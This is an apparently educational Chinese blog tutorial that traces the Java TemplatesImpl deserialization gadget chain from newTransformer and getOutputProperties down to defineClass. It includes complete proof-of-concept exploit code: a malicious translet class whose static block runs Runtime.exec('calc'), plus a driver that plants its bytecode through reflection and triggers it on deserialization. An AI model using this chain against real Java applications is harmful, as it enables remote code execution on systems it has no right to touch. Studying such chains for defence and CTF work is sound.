TemplateImp链子详解 目标函数:defineClass() 这和java的动态加载有关,正常来讲,不管是远程加载class文件,还是本地加载class或是jar文件,Java中经历的都是下面这三个方法的调用过程:
loadClass 从原有的加载过的代码中寻找类,如果找到了直接加载,没有就调用下一个函数。
这个函数会进行双亲委派(委托父加载器加载)
若父加载器无法加载,则调用 findClass()
findClass 从url里面找类的字节码,找到了提交给defineClass
defineClass 将findClass()提交过来的字节码直接转换成类对象
其中最重要的莫过于defineClass,因为无论在哪,只要传入了类的字节码,就可以将其转换成类
PS defineClass() 只是定义类,并不会自动执行其中的代码
仅仅调用 defineClass() 是不会触发任何的方法的
只有在被实例化后,被注册的类才会执行静态恶意代码
链子 而在TemplateImp里面正好调用了这个函数: 是defineTransletClasses()调用的,再看谁调用了defineTransletClasses() 发现getTransletClasses(),getTransletIndex()和getTransletInstance() 调用了,再找谁调用了这三个个函数(之一)即可
发现没有函数调用getTransletIndex()和getTransletClasses()
但newTransformer()调用了getTransletInstance()
而在getgetTransletInstance()中有这么一段代码:AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
实例化了之前注册的类,会触发静态代码
那么就很完美了,因为newTransformer()只要实例化就会立即执行,在此之外,如果没有实例化的方法,还可继续找链子。
发现getOutputProperties()调用了newTransformer()
那么现在就用两种出发方式,两条链子。
newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass() 由实例化触发
getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass() 由getter函数触发
代码解析 第一条链子 首先从第一条链子开始,newTransformer会直接触发getTransletInstance
再看getTransletInstance:
1 2 3 4 5 6 7 8 9 private synchronized Class[] getTransletClasses() { try { if (_class == null) defineTransletClasses(); } catch (TransformerConfigurationException e) { // Falls through } return _class; }
需要_name不能为空,_class属性为空即可触发defineTransletClasses
再看defineTransletInstance:
1 2 3 4 5 6 TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
这是defineClass前面的代码,要让他成功执行才能继续往下,而这里调用了_tfactory属性的getExternalExtensionsMap()函数,所以
private transient TransformerFactoryImpl _tfactory = null;
所以_tfactory必须是成功实例化过的TransformerFactoryImpl,但是他被transient修饰过,意思是不能被序列化,所以得另求他路。我们全局搜索_tfactory参数,发现:
再readObject()函数中_tfactory被直接赋值成了实例化过的TransformerFactoryImpl类
那么就解决了,不用管他就行。
再往后看:
1 2 3 4 5 6 7 8 final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); }
这段代码定义了superClsss为前面动态加载出的类的父类,再判断是否为抽象类,不是则执行:
_auxClasses.put(_class[i].getName(), _class[i]);
因为我们前面保证了_class为空,所以这里必定报错
所以还得保证加载的字节码类继承于抽象类
第二条链子 仅仅多了个getOutputProperties()函数,我们查看这个函数即可
发现没啥特殊的,和第一条链子的限制差不多。
Exp evil.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evil extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
然后编译:javac evil.java
exp.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class exp { public static String serialize(Object a) throws Exception{ ByteArrayOutputStream byteArrayInputStream=new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream); out.writeObject(a); out.flush(); out.close(); byte[] serial=byteArrayInputStream.toByteArray(); String payload= Base64.getEncoder().encodeToString(serial); return payload; } public static Object unserialize(String payload) throws Exception{ byte[] bytes=Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); Object obj = objectInputStream.readObject(); return obj; } public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); // 赋值_name Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"Nebu1ea"); // 赋值_bytecodes Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\templateImpTest\\src\\main\\java\\test\\evil.class")); byte[][] bytes1 = new byte[1][bytes.length]; bytes1[0]=bytes; _bytecodesField.set(templates,bytes1); // 不反序列化测试 success // // 赋值_tfactory // Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); // _tfactoryField.setAccessible(true); // _tfactoryField.set(templates,new TransformerFactoryImpl()); // templates.newTransformer(); String payload=serialize(templates); TemplatesImpl o= (TemplatesImpl) unserialize(payload); // //反序列化newTransformer()测试 success // o.newTransformer(); // 反序列化getter测试 success o.getOutputProperties(); } }
测试完毕
结语 这条链子是不能直接使用的,但是是很多链子的基石,比如说cc2链子。
主要用的最多的就是链子2,即getOutputProperties()触发的链子
就此结束,Ciallo~~